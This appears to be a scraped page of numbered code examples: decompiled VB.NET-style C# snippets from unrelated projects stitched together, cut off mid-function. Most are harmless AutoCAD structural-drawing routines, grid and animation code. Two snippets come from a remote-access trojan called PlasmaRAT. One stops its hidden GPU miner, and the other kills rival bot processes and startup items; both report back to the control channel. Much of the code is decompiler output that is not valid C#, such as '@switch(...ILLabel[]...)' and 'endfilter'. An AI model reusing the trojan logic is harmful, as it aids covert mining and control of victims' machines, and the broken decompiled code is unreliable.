Exemplo n.º 1
0
        private void Button3_Click(object sender, EventArgs e)
        {
            int    num;
            int    num9;
            object obj;

            try
            {
IL_01:
                ProjectData.ClearProjectError();
                num = -2;
IL_09:
                int num2 = 2;
                long num3 = Conversions.ToLong(this.DataGridView1.Rows[0].Cells[0].Value);
IL_32:
                num2 = 3;
                checked
                {
                    num3 -= 1L;
IL_40:
                    num2 = 4;
                    if (num3 != 0L)
                    {
                        goto IL_5C;
                    }
IL_50:
                    num2 = 5;
                    num3 = -1L;
IL_5C:
                    num2 = 7;
                    short num4 = 0;
                    short num5 = (short)(this.DataGridView1.RowCount - 1);
                    short num6 = num4;
                    for (;;)
                    {
                        short num7 = num6;
                        short num8 = num5;
                        if (num7 > num8)
                        {
                            break;
                        }
IL_7B:
                        num2 = 8;
                        this.DataGridView1.Rows[(int)num6].Cells[0].Value = num3;
IL_A5:
                        num2  = 9;
                        num3 += 1L;
IL_B4:
                        num2 = 10;
                        if (num3 == 0L)
                        {
IL_C5:
                            num2 = 11;
                            num3 = 1L;
                        }
IL_D2:
                        num2 = 13;
                        unchecked
                        {
                            num6 += 1;
                        }
                    }
IL_DE:
                    goto IL_16C;
IL_E3:
                    goto IL_176;
IL_E8:
                    num9 = num2;
                    if (num <= -2)
                    {
                        goto IL_FF;
                    }
                    @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num);
                    goto IL_147;
                    IL_FF :;
                }
                int num10 = num9 + 1;
                num9 = 0;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num10);
IL_147:
                goto IL_176;
            }
            catch when(endfilter(obj is Exception & num != 0 & num9 == 0))
            {
                Exception ex = (Exception)obj2;

                goto IL_E8;
            }
IL_16C:
            if (num9 != 0)
            {
                ProjectData.ClearProjectError();
            }
            return;

IL_176:
            throw ProjectData.CreateProjectError(-2146828237);
        }
Exemplo n.º 2
0
        // Token: 0x0600008B RID: 139 RVA: 0x00008E68 File Offset: 0x00007068
        public static void RemoveGPUMiner()
        {
            int    num;
            int    num4;
            object obj2;

            try
            {
IL_00:
                ProjectData.ClearProjectError();
                num = 1;
IL_07:
                int num2 = 2;
                string setting = Interaction.GetSetting("Microsoft", "Sysinternals", "vir32", "");
IL_23:
                num2 = 3;
                if (Operators.CompareString(setting, string.Empty, false) == 0)
                {
                    goto IL_FC;
                }
IL_37:
                num2 = 4;
                Interaction.SaveSetting("Microsoft", "Sysinternals", "vir32", string.Empty);
IL_52:
                num2 = 5;
                IEnumerator enumerator = ((IEnumerable)NewLateBinding.LateGet(Interaction.GetObject("winmgmts:", null), null, "ExecQuery", new object[]
                {
                    "Select Name from Win32_Process Where Name = '" + GPUMiner.GPUMinerExecutable + ".exe'"
                }, null, null, null)).GetEnumerator();
                while (enumerator.MoveNext())
                {
                    object obj         = enumerator.Current;
                    object objectValue = RuntimeHelpers.GetObjectValue(obj);
IL_A8:
                    num2 = 6;
                    NewLateBinding.LateCall(objectValue, null, "Terminate", new object[0], null, null, null, true);
IL_C2:
                    num2 = 7;
                }
                if (enumerator is IDisposable)
                {
                    (enumerator as IDisposable).Dispose();
                }
IL_E2:
                num2 = 8;
                GPUMiner.RanGPUMiner = false;
IL_EA:
                num2 = 9;
                PlasmaRAT.TalktoChannel("GPU Miner: Stopped Successfully.", string.Empty);
IL_FC:
                goto IL_17B;
IL_FE:
                int num3 = num4 + 1;
                num4     = 0;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num3);
IL_13A:
                goto IL_170;
IL_13C:
                num4 = num2;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num);
                IL_14D :;
            }
            catch when(endfilter(obj2 is Exception & num != 0 & num4 == 0))
            {
                Exception ex = (Exception)obj3;

                goto IL_13C;
            }
IL_170:
            throw ProjectData.CreateProjectError(-2146828237);
IL_17B:
            if (num4 != 0)
            {
                ProjectData.ClearProjectError();
            }
        }
Exemplo n.º 3
0
    public void AbortThreads()
    {
        int  num2           = 0;
        bool Label_009E_try = false;

Label_009E:
        try
        {
            int num3;
Label_0000:
            ProjectData.ClearProjectError();
            int num = 1;
            goto Label_002F;
Label_0009:
            num3 = 4;
            Thread item = this.__ActiveThreads[0];
Label_0018:
            num3 = 5;
            item.Abort();
Label_0020:
            num3 = 6;
            this.__ActiveThreads.Remove(item);
Label_002F:
            num3 = 3;
            if (this.__ActiveThreads.Count > 0)
            {
                goto Label_0009;
            }
Label_003F:
            num3        = 8;
            this.Status = ThreadStatus.Stopped;
Label_0048:
            num3             = 9;
            this.__AllPushed = true;
Label_0052:
            num3 = 10;
            this.__ActiveThreads.Clear();
            goto Label_00DB;
Label_0062:
            num2 = 0;
            switch ((num2 + 1))
            {
            case 1:
                goto Label_0000;

            case 2:
            case 3:
            case 7:
                goto Label_002F;

            case 4:
                goto Label_0009;

            case 5:
                goto Label_0018;

            case 6:
                goto Label_0020;

            case 8:
                goto Label_003F;

            case 9:
                goto Label_0048;

            case 10:
                goto Label_0052;

            case 11:
                goto Label_00DB;

            default:
                goto Label_00D0;
            }
            // Normalement  Label_009E:
            if (Label_009E_try)
            {
                num2 = num3;
                switch (num)
                {
                case 0:
                    goto Label_00D0;

                case 1:
                    goto Label_0062;
                }
            }
        }
        catch (Exception exception1)
        {
            ProjectData.SetProjectError(exception1);
            goto Label_009ERED;
        }
Label_00D0:
        throw ProjectData.CreateProjectError(-2146828237);
Label_00DB:
        if (num2 != 0)
        {
            ProjectData.ClearProjectError();
        }
Label_009ERED:
        Label_009E_try = true;
        goto Label_009E;
    }
Exemplo n.º 4
0
        public void TcZLJ_YJK()
        {
            int    num;
            int    num4;
            object obj;

            try
            {
IL_01:
                ProjectData.ClearProjectError();
                num = -2;
IL_09:
                int num2 = 2;
                Document mdiActiveDocument = Application.DocumentManager.MdiActiveDocument;
IL_16:
                num2 = 3;
                Database database = mdiActiveDocument.Database;
IL_1F:
                num2 = 4;
                using (Transaction transaction = database.TransactionManager.StartTransaction())
                {
                    TypedValue[] array  = new TypedValue[1];
                    Array        array2 = array;
                    TypedValue   typedValue;
                    typedValue..ctor(0, "LWPOLYLINE");
                    array2.SetValue(typedValue, 0);
                    SelectionFilter       selectionFilter = new SelectionFilter(array);
                    PromptSelectionResult selection       = mdiActiveDocument.Editor.GetSelection(selectionFilter);
                    if (selection.Status == 5100)
                    {
                        SelectionSet value      = selection.Value;
                        Entity       e          = (Entity)transaction.GetObject(value[0].ObjectId, 0);
                        Entity       e2         = (Entity)transaction.GetObject(value[checked (value.Count - 1)].ObjectId, 0);
                        Point3d      entCenter  = CAD.GetEntCenter(e);
                        Point3d      entCenter2 = CAD.GetEntCenter(e2);
                        if (Class36.double_0 == 0.0)
                        {
                            Class36.double_0 = 2.0;
                        }
                        this.DrawLaJinYJK(entCenter, entCenter2, Class36.double_0);
                    }
                    transaction.Commit();
                }
IL_129:
                num2 = 6;
                if (Information.Err().Number <= 0)
                {
                    goto IL_14E;
                }
IL_13A:
                num2 = 7;
                Interaction.MsgBox(Information.Err().Description, MsgBoxStyle.OkOnly, null);
IL_14E:
                goto IL_1CA;
IL_150:
                int num3 = num4 + 1;
                num4     = 0;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num3);
IL_184:
                goto IL_1BF;
IL_186:
                num4 = num2;
                if (num <= -2)
                {
                    goto IL_150;
                }
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num);
                IL_19C :;
            }
            catch when(endfilter(obj is Exception & num != 0 & num4 == 0))
            {
                Exception ex = (Exception)obj2;

                goto IL_186;
            }
IL_1BF:
            throw ProjectData.CreateProjectError(-2146828237);
IL_1CA:
            if (num4 != 0)
            {
                ProjectData.ClearProjectError();
            }
        }
        // Token: 0x06000053 RID: 83 RVA: 0x00005794 File Offset: 0x00003994
        public static void RunStandardBotKiller()
        {
            int num;

            int    num4;
            object obj;

            try
            {
IL_00:
                ProjectData.ClearProjectError();
                num = 1;
IL_07:
                int num2 = 2;
                BotKillers.ScanProcess();
IL_0E:
                num2 = 3;
                BotKillers.RunStartupKiller();
IL_15:
                num2 = 4;
                PlasmaRAT.TalktoChannel(string.Concat(new string[]
                {
                    "BotKiller: Processes Killed: ",
                    BotKillers.ProccessKilled.ToString(),
                    ". Startup Items Killed: ",
                    BotKillers.Startupkilled.ToString(),
                    "."
                }), "");
IL_74:
                num2 = 5;
                BotKillers.ProccessKilled = 0;
IL_7C:
                num2 = 6;
                BotKillers.Startupkilled = 0;
IL_84:
                goto IL_EF;
IL_86:
                int num3 = num4 + 1;
                num4     = 0;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num3);
IL_B0:
                goto IL_E4;
IL_B2:
                num4 = num2;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num);
                IL_C2 :;
            }
            catch when(endfilter(obj is Exception & num != 0 & num4 == 0))
            {
                Exception ex = (Exception)obj2;

                goto IL_B2;
            }
IL_E4:
            throw ProjectData.CreateProjectError(-2146828237);
IL_EF:
            if (num4 != 0)
            {
                ProjectData.ClearProjectError();
            }
        }
Exemplo n.º 6
0
        // Token: 0x0600004F RID: 79 RVA: 0x001CC824 File Offset: 0x001CAC24
        private void PutDrop(int x, int y, short height)
        {
            int    num3;
            int    num15;
            object obj;

            try
            {
IL_01:
                int num           = 1;
                this._weHaveWaves = true;
IL_0B:
                num = 2;
                int num2 = 20;
IL_11:
                ProjectData.ClearProjectError();
                num3 = -2;
IL_1A:
                num = 4;
                int num4 = -num2;
                int num5 = num2;
                int num6 = num4;
                for (;;)
                {
                    int num7 = num6;
                    int num8 = num5;
                    if (num7 > num8)
                    {
                        break;
                    }
IL_28:
                    num = 5;
                    int  num9  = -num2;
                    int  num10 = num2;
                    int  num11 = num9;
                    bool flag;
                    for (;;)
                    {
                        int num12 = num11;
                        num8 = num10;
                        if (num12 > num8)
                        {
                            break;
                        }
IL_36:
                        num  = 6;
                        flag = (x + num6 >= 0 && x + num6 < this._waveWidth - 1 && y + num11 >= 0 && y + num11 < this._waveHeight - 1);
                        if (flag)
                        {
IL_69:
                            num = 7;
                            double num13 = Math.Sqrt((double)(num6 * num6 + num11 * num11));
IL_7A:
                            num  = 8;
                            flag = (num13 < (double)num2);
                            if (flag)
                            {
IL_88:
                                num = 9;
                                this._waves[x + num6, y + num11, this._activeBuffer] = (short)Math.Round(Math.Cos(num13 * 3.1415926535897931 / (double)num2) * (double)height);
                            }
                            IL_BF :;
                        }
                        IL_C0 :
                        IL_C1 :
                        num  = 12;
                        flag = (Information.Err().Number != 0);
                        if (flag)
                        {
                            goto IL_DB;
                        }
IL_E1:
                        num = 15;
                        num11++;
                    }
IL_F6:
                    num  = 16;
                    flag = (Information.Err().Number != 0);
                    if (flag)
                    {
                        break;
                    }
IL_116:
                    num = 19;
                    num6++;
                }
IL_DB:
IL_110:
IL_12B:
                goto IL_1E1;
IL_134:
                int num14 = num15 + 1;
                num15     = 0;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num14);
IL_194:
                goto IL_1D6;
IL_196:
                num15 = num;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], (num3 > -2) ? num3 : 1);
                IL_1B2 :;
            }
            catch when(endfilter(obj is Exception & num3 != 0 & num15 == 0))
            {
                Exception ex = (Exception)obj2;

                goto IL_196;
            }
IL_1D6:
            throw ProjectData.CreateProjectError(-2146828237);
IL_1E1:
            if (num15 != 0)
            {
                ProjectData.ClearProjectError();
            }
        }
Exemplo n.º 7
0
        public object GetGuJinPoint(ref Point3d P1, ref Point3d P2)
        {
            int    num;
            object obj2;
            int    num8;
            object obj3;

            try
            {
IL_01:
                ProjectData.ClearProjectError();
                num = -2;
IL_09:
                int num2 = 2;
                Document mdiActiveDocument = Application.DocumentManager.MdiActiveDocument;
IL_16:
                num2 = 3;
                Database database = mdiActiveDocument.Database;
IL_1F:
                num2 = 4;
                using (Transaction transaction = database.TransactionManager.StartTransaction())
                {
                    TypedValue[] array  = new TypedValue[1];
                    Array        array2 = array;
                    TypedValue   typedValue;
                    typedValue..ctor(0, "LWPOLYLINE");
                    array2.SetValue(typedValue, 0);
                    SelectionFilter       selectionFilter = new SelectionFilter(array);
                    PromptSelectionResult selection       = mdiActiveDocument.Editor.GetSelection(selectionFilter);
                    if (selection.Status == 5100)
                    {
                        SelectionSet value      = selection.Value;
                        Entity       e          = (Entity)transaction.GetObject(value[0].ObjectId, 0);
                        Point3d      entCenter  = CAD.GetEntCenter(e);
                        double       num3       = entCenter.X;
                        double       num4       = entCenter.Y;
                        double       num5       = entCenter.X;
                        double       num6       = entCenter.Y;
                        IEnumerator  enumerator = value.GetEnumerator();
                        while (enumerator.MoveNext())
                        {
                            object         obj            = enumerator.Current;
                            SelectedObject selectedObject = (SelectedObject)obj;
                            e         = (Entity)transaction.GetObject(selectedObject.ObjectId, 0);
                            entCenter = CAD.GetEntCenter(e);
                            num3      = Math.Min(entCenter.X, num3);
                            num4      = Math.Min(entCenter.Y, num4);
                            num5      = Math.Max(entCenter.X, num5);
                            num6      = Math.Max(entCenter.Y, num6);
                        }
                        if (enumerator is IDisposable)
                        {
                            (enumerator as IDisposable).Dispose();
                        }
                        P1..ctor(num3, num4, 0.0);
                        P2..ctor(num5, num6, 0.0);
                    }
                    transaction.Commit();
                }
IL_1AC:
                num2 = 6;
                if (Information.Err().Number <= 0)
                {
                    goto IL_1D1;
                }
IL_1BD:
                num2 = 7;
                Interaction.MsgBox(Information.Err().Description, MsgBoxStyle.OkOnly, null);
IL_1D1:
                num2 = 9;
                obj2 = true;
IL_1E1:
                goto IL_261;
IL_1E3:
                int num7 = num8 + 1;
                num8     = 0;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num7);
IL_21B:
                goto IL_256;
IL_21D:
                num8 = num2;
                if (num <= -2)
                {
                    goto IL_1E3;
                }
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num);
                IL_233 :;
            }
            catch when(endfilter(obj3 is Exception & num != 0 & num8 == 0))
            {
                Exception ex = (Exception)obj4;

                goto IL_21D;
            }
IL_256:
            throw ProjectData.CreateProjectError(-2146828237);
IL_261:
            object result = obj2;

            if (num8 != 0)
            {
                ProjectData.ClearProjectError();
            }
            return(result);
        }
Exemplo n.º 8
0
        public void FuJiaGuJin()
        {
            int    num;
            int    num10;
            object obj;

            try
            {
IL_01:
                ProjectData.ClearProjectError();
                num = -2;
IL_09:
                int num2 = 2;
                Point3d point = CAD.GetPoint("选择插入点: ");
IL_17:
                num2 = 3;
                Point3d point3d;
                if (!(point == point3d))
                {
                    goto IL_29;
                }
IL_24:
                goto IL_1F7;
IL_29:
                num2 = 6;
                bool flag = false;
IL_2E:
                num2 = 7;
IL_30:
                num2 = 8;
                Database workingDatabase = HostApplicationServices.WorkingDatabase;
IL_38:
                num2 = 9;
                Editor editor = Application.DocumentManager.MdiActiveDocument.Editor;
IL_4C:
                num2 = 10;
                PromptResult promptResult = editor.Drag(this);
IL_59:
                num2 = 11;
                ObjectId[] array = new ObjectId[6];
IL_64:
                num2 = 12;
                if (promptResult.Status != 5100)
                {
                    goto IL_10A;
                }
IL_7A:
                num2 = 13;
                short num5;
                short num6;
                checked
                {
                    short num3 = (short)(this.entity_0.Length - 1);
IL_89:
                    num2 = 14;
                    if (num3 != 0)
                    {
                        goto IL_A5;
                    }
IL_92:
                    num2 = 15;
                    CAD.AddEnt(this.entity_0[0]);
                    goto IL_10A;
IL_A5:
                    num2 = 17;
IL_A8:
                    num2 = 18;
                    short num4 = 0;
                    num5 = (short)(this.entity_0.Length - 1);
                    num6 = num4;
                }
                for (;;)
                {
                    short num7 = num6;
                    short num8 = num5;
                    if (num7 > num8)
                    {
                        break;
                    }
IL_BD:
                    num2             = 19;
                    array[(int)num6] = CAD.AddEnt(this.entity_0[(int)num6]).ObjectId;
IL_E1:
                    num2  = 20;
                    num6 += 1;
                }
IL_F5:
                num2 = 21;
                if (!flag)
                {
                    goto IL_107;
                }
IL_FC:
                num2 = 22;
                Class36.smethod_55(array);
IL_107:
                num2 = 24;
IL_10A:
                num2 = 27;
                JigEntIDs jigEntIDs = new JigEntIDs();
IL_113:
                num2 = 28;
                jigEntIDs.method_0(array, this.point3d_1);
IL_125:
                goto IL_1F7;
IL_12A:
                int num9 = num10 + 1;
                num10    = 0;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num9);
IL_1AE:
                goto IL_1EC;
IL_1B0:
                num10 = num2;
                if (num <= -2)
                {
                    goto IL_12A;
                }
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num);
                IL_1C9 :;
            }
            catch when(endfilter(obj is Exception & num != 0 & num10 == 0))
            {
                Exception ex = (Exception)obj2;

                goto IL_1B0;
            }
IL_1EC:
            throw ProjectData.CreateProjectError(-2146828237);
IL_1F7:
            if (num10 != 0)
            {
                ProjectData.ClearProjectError();
            }
        }
Exemplo n.º 9
0
        public void TcLXYZ1()
        {
            int    num;
            int    num14;
            object obj;

            try
            {
IL_01:
                ProjectData.ClearProjectError();
                num = -2;
IL_09:
                int num2 = 2;
                CAD.CreateLayer("Y_引注", 4, "continuous", -3, false, true);
IL_20:
                num2 = 3;
                CAD.CreateLayer("Y_引线", 5, "continuous", 13, false, true);
IL_37:
                num2          = 4;
                this.double_0 = CAD.GetScale();
IL_44:
                num2 = 5;
                bool flag = false;
IL_48:
                num2 = 6;
                Document mdiActiveDocument = Application.DocumentManager.MdiActiveDocument;
IL_55:
                num2 = 7;
                Database database = mdiActiveDocument.Database;
IL_5F:
                num2 = 8;
                Editor editor = Application.DocumentManager.MdiActiveDocument.Editor;
IL_72:
                num2 = 9;
                using (Transaction transaction = database.TransactionManager.StartTransaction())
                {
                    PromptSelectionResult selection = mdiActiveDocument.Editor.GetSelection();
                    if (selection.Status == 5100)
                    {
                        SelectionSet value = selection.Value;
                        short        num4;
                        short        num5;
                        checked
                        {
                            this.short_0   = (short)(value.Count - 1);
                            this.point3d_2 = new Point3d[(int)(this.short_0 + 1)];
                            this.entity_0  = new Entity[(int)(this.short_0 + 2 + 1)];
                            short num3 = 0;
                            num4 = this.short_0;
                            num5 = num3;
                        }
                        for (;;)
                        {
                            short num6 = num5;
                            short num7 = num4;
                            if (num6 > num7)
                            {
                                break;
                            }
                            Entity  e         = (Entity)transaction.GetObject(value[(int)num5].ObjectId, 0);
                            Point3d entCenter = CAD.GetEntCenter(e);
                            this.point3d_2[(int)num5] = entCenter;
                            num5 += 1;
                        }
                        this.double_2 = this.point3d_2[0].X;
                        this.double_1 = this.point3d_2[0].X;
                        transaction.Commit();
                        PromptResult promptResult = editor.Drag(this);
                        if (promptResult.Status == 5100)
                        {
                            short num8 = checked ((short)(this.entity_0.Length - 1));
                            if (num8 == 0)
                            {
                                CAD.AddEnt(this.entity_0[0]);
                            }
                            else
                            {
                                ObjectId[] array;
                                short      num10;
                                short      num11;
                                checked
                                {
                                    array = new ObjectId[(int)(num8 + 1)];
                                    short num9 = 0;
                                    num10 = (short)(this.entity_0.Length - 1);
                                    num11 = num9;
                                }
                                for (;;)
                                {
                                    short num12 = num11;
                                    short num7  = num10;
                                    if (num12 > num7)
                                    {
                                        break;
                                    }
                                    array[(int)num11] = CAD.AddEnt(this.entity_0[(int)num11]).ObjectId;
                                    num11            += 1;
                                }
                                if (flag)
                                {
                                    Class36.smethod_55(array);
                                }
                            }
                        }
                    }
                }
IL_21D:
                goto IL_29D;
IL_21F:
                int num13 = num14 + 1;
                num14     = 0;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num13);
IL_257:
                goto IL_292;
IL_259:
                num14 = num2;
                if (num <= -2)
                {
                    goto IL_21F;
                }
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num);
                IL_26F :;
            }
            catch when(endfilter(obj is Exception & num != 0 & num14 == 0))
            {
                Exception ex = (Exception)obj2;

                goto IL_259;
            }
IL_292:
            throw ProjectData.CreateProjectError(-2146828237);
IL_29D:
            if (num14 != 0)
            {
                ProjectData.ClearProjectError();
            }
        }
Exemplo n.º 10
0
        public void TcQiangAsv1()
        {
            int    num;
            int    num4;
            object obj;

            try
            {
IL_01:
                ProjectData.ClearProjectError();
                num = -2;
IL_09:
                int num2 = 2;
                Document mdiActiveDocument = Application.DocumentManager.MdiActiveDocument;
IL_16:
                num2 = 3;
                Database database = mdiActiveDocument.Database;
IL_1F:
                num2 = 4;
                TypedValue[] array = new TypedValue[1];
IL_29:
                num2 = 5;
                Array      array2 = array;
                TypedValue typedValue;
                typedValue..ctor(0, "LWPOLYLINE,TEXT");
                array2.SetValue(typedValue, 0);
IL_47:
                num2 = 6;
                SelectionFilter selectionFilter = new SelectionFilter(array);
IL_51:
                num2 = 7;
                PromptSelectionResult selection = mdiActiveDocument.Editor.GetSelection(selectionFilter);
IL_61:
                num2 = 8;
                if (selection.Status != 5100)
                {
                    goto IL_D2;
                }
IL_73:
                num2 = 9;
                TcAsv_Frm tcAsv_Frm = new TcAsv_Frm();
IL_7D:
                num2 = 10;
                Application.ShowModelessDialog(tcAsv_Frm);
IL_87:
                num2 = 11;
                tcAsv_Frm.QZ_Collection = selection.Value;
IL_98:
                num2 = 12;
                tcAsv_Frm.TextBox9.Text = Conversions.ToString(23);
IL_AE:
                num2 = 13;
                tcAsv_Frm.RadioButton1.Checked = true;
IL_BE:
                num2 = 14;
                tcAsv_Frm.FenXi_Q();
IL_C8:
                num2 = 15;
                tcAsv_Frm.Asv();
IL_D2:
                num2 = 17;
                if (Information.Err().Number <= 0)
                {
                    goto IL_F9;
                }
IL_E4:
                num2 = 18;
                Interaction.MsgBox(Information.Err().Description, MsgBoxStyle.OkOnly, null);
IL_F9:
                goto IL_1A4;
IL_FE:
                int num3 = num4 + 1;
                num4     = 0;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num3);
IL_15E:
                goto IL_199;
IL_160:
                num4 = num2;
                if (num <= -2)
                {
                    goto IL_FE;
                }
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num);
                IL_176 :;
            }
            catch when(endfilter(obj is Exception & num != 0 & num4 == 0))
            {
                Exception ex = (Exception)obj2;

                goto IL_160;
            }
IL_199:
            throw ProjectData.CreateProjectError(-2146828237);
IL_1A4:
            if (num4 != 0)
            {
                ProjectData.ClearProjectError();
            }
        }
Exemplo n.º 11
0
        public void TcQZGJ_Layer()
        {
            int    num;
            int    num4;
            object obj2;

            try
            {
IL_01:
                ProjectData.ClearProjectError();
                num = -2;
IL_09:
                int num2 = 2;
                Class36.SetFocus(Application.DocumentManager.MdiActiveDocument.Window.Handle);
IL_25:
                num2 = 3;
                DocumentLock documentLock = Application.DocumentManager.MdiActiveDocument.LockDocument();
IL_37:
                num2 = 4;
                CAD.CreateLayer("墙柱小箍筋", 14, "continuous", -3, false, true);
IL_4F:
                num2 = 5;
                Document mdiActiveDocument = Application.DocumentManager.MdiActiveDocument;
IL_5C:
                num2 = 6;
                Database database = mdiActiveDocument.Database;
IL_66:
                num2 = 7;
                TypedValue[] array = new TypedValue[1];
IL_70:
                num2 = 8;
                Array      array2 = array;
                TypedValue typedValue;
                typedValue..ctor(0, "LWPOLYLINE");
                array2.SetValue(typedValue, 0);
IL_8E:
                num2 = 9;
                SelectionFilter selectionFilter = new SelectionFilter(array);
IL_9A:
                num2 = 10;
                PromptSelectionResult selection = mdiActiveDocument.Editor.GetSelection(selectionFilter);
IL_AC:
                num2 = 11;
                using (Transaction transaction = database.TransactionManager.StartTransaction())
                {
                    SelectionSet value      = selection.Value;
                    IEnumerator  enumerator = value.GetEnumerator();
                    while (enumerator.MoveNext())
                    {
                        object         obj            = enumerator.Current;
                        SelectedObject selectedObject = (SelectedObject)obj;
                        CAD.ChangeLayer(selectedObject.ObjectId, "墙柱小箍筋");
                    }
                    if (enumerator is IDisposable)
                    {
                        (enumerator as IDisposable).Dispose();
                    }
                    transaction.Commit();
                }
IL_130:
                num2 = 13;
                documentLock.Dispose();
IL_139:
                goto IL_1CC;
IL_13E:
                int num3 = num4 + 1;
                num4     = 0;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num3);
IL_186:
                goto IL_1C1;
IL_188:
                num4 = num2;
                if (num <= -2)
                {
                    goto IL_13E;
                }
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num);
                IL_19E :;
            }
            catch when(endfilter(obj2 is Exception & num != 0 & num4 == 0))
            {
                Exception ex = (Exception)obj3;

                goto IL_188;
            }
IL_1C1:
            throw ProjectData.CreateProjectError(-2146828237);
IL_1CC:
            if (num4 != 0)
            {
                ProjectData.ClearProjectError();
            }
        }
Exemplo n.º 12
0
        public void TcZhuAsv()
        {
            int    num;
            int    num3;
            object obj;

            try
            {
IL_01:
                ProjectData.ClearProjectError();
                num = -2;
IL_09:
                int num2 = 2;
                Document mdiActiveDocument = Application.DocumentManager.MdiActiveDocument;
IL_16:
                num2 = 3;
                Database database = mdiActiveDocument.Database;
IL_1F:
                num2 = 4;
                TypedValue[] array = new TypedValue[1];
IL_29:
                num2 = 5;
                Array      array2 = array;
                TypedValue typedValue;
                typedValue..ctor(0, "LWPOLYLINE,TEXT");
                array2.SetValue(typedValue, 0);
IL_47:
                num2 = 6;
                SelectionFilter selectionFilter = new SelectionFilter(array);
IL_52:
                num2 = 7;
                PromptSelectionResult selection = mdiActiveDocument.Editor.GetSelection(selectionFilter);
IL_63:
                num2 = 8;
                if (selection.Status != 5100)
                {
                    goto IL_CD;
                }
IL_75:
                num2 = 9;
                TcAsv_Frm tcAsv_Frm = new TcAsv_Frm();
IL_7E:
                num2 = 10;
                Application.ShowModelessDialog(tcAsv_Frm);
IL_87:
                num2 = 11;
                tcAsv_Frm.QZ_Collection = selection.Value;
IL_97:
                num2 = 12;
                tcAsv_Frm.TextBox9.Text = Conversions.ToString(35);
IL_AC:
                num2 = 13;
                tcAsv_Frm.RadioButton2.Checked = true;
IL_BB:
                num2 = 14;
                tcAsv_Frm.FenXi_Z();
IL_C4:
                num2 = 15;
                tcAsv_Frm.Asv();
IL_CD:
                num2 = 17;
                if (Information.Err().Number <= 0)
                {
                }
IL_DF:
                goto IL_185;
IL_E4:
                goto IL_190;
IL_E9:
                num3 = num2;
                if (num <= -2)
                {
                    goto IL_101;
                }
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num);
                goto IL_15F;
IL_101:
                int num4 = num3 + 1;
                num3     = 0;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num4);
IL_15F:
                goto IL_190;
            }
            catch when(endfilter(obj is Exception & num != 0 & num3 == 0))
            {
                Exception ex = (Exception)obj2;

                goto IL_E9;
            }
IL_185:
            if (num3 != 0)
            {
                ProjectData.ClearProjectError();
            }
            return;

IL_190:
            throw ProjectData.CreateProjectError(-2146828237);
        }
Exemplo n.º 13
0
        public void TcJianTuDuiBi()
        {
            int    num;
            int    num5;
            object obj;

            try
            {
IL_01:
                ProjectData.ClearProjectError();
                num = -2;
IL_09:
                int num2 = 2;
                Polyline polyline = (Polyline)Class36.smethod_72("选择原配筋简图边框:");
IL_1C:
                num2 = 3;
                Class36.smethod_73(polyline.ObjectId);
IL_2A:
                num2 = 4;
                Polyline polyline2 = (Polyline)Class36.smethod_72("选择新配筋简图边框:");
IL_3D:
                num2 = 5;
                Class36.smethod_73(polyline2.ObjectId);
IL_4B:
                num2 = 6;
                Point3d  minPoint = polyline.GeometricExtents.MinPoint;
                Vector3d vectorTo = minPoint.GetVectorTo(polyline2.GeometricExtents.MinPoint);
IL_78:
                num2 = 7;
                Point3dCollection point3dCollection = new Point3dCollection();
IL_81:
                num2 = 8;
                Point3d minPoint2 = polyline.GeometricExtents.MinPoint;
IL_95:
                num2 = 9;
                Point3d maxPoint = polyline.GeometricExtents.MaxPoint;
IL_AA:
                num2 = 10;
                point3dCollection.Add(minPoint2);
IL_B7:
                num2 = 11;
                Point3dCollection point3dCollection2 = point3dCollection;
                minPoint..ctor(minPoint2.X, maxPoint.Y, minPoint2.Z);
                point3dCollection2.Add(minPoint);
IL_E0:
                num2 = 12;
                point3dCollection.Add(maxPoint);
IL_ED:
                num2 = 13;
                Point3dCollection point3dCollection3 = point3dCollection;
                minPoint..ctor(maxPoint.X, minPoint2.Y, minPoint2.Z);
                point3dCollection3.Add(minPoint);
IL_116:
                num2 = 14;
                TypedValue[] array = new TypedValue[1];
IL_120:
                num2 = 15;
                Array      array2 = array;
                TypedValue typedValue;
                typedValue..ctor(0, "TEXT");
                array2.SetValue(typedValue, 0);
IL_13D:
                num2 = 16;
                DBObjectCollection dbobjectCollection = 结构分析.WindowPolygon(point3dCollection, array);
IL_14A:
                num2 = 17;
                IEnumerator enumerator = dbobjectCollection.GetEnumerator();
                while (enumerator.MoveNext())
                {
                    DBText dbtext = (DBText)enumerator.Current;
IL_170:
                    num2 = 18;
                    Application.DoEvents();
IL_178:
                    num2 = 19;
                    TypedValue[] array3 = new TypedValue[2];
IL_183:
                    num2 = 20;
                    Array array4 = array3;
                    typedValue..ctor(0, "TEXT");
                    array4.SetValue(typedValue, 0);
IL_1A1:
                    num2 = 21;
                    Array array5 = array3;
                    typedValue..ctor(8, dbtext.Layer);
                    array5.SetValue(typedValue, 1);
IL_1C1:
                    num2 = 22;
                    Point3d entCenter = CAD.GetEntCenter(dbtext);
IL_1CD:
                    num2 = 23;
                    entCenter..ctor(entCenter.X + vectorTo.X, entCenter.Y + vectorTo.Y, entCenter.Z + vectorTo.Z);
IL_204:
                    num2 = 24;
                    Point3dCollection point3dCollection4 = new Point3dCollection();
IL_20E:
                    num2 = 25;
                    double num3 = dbtext.Height / 3.0;
IL_224:
                    num2 = 26;
                    Point3dCollection point3dCollection5 = point3dCollection4;
                    minPoint..ctor(entCenter.X - num3, entCenter.Y - num3, entCenter.Z);
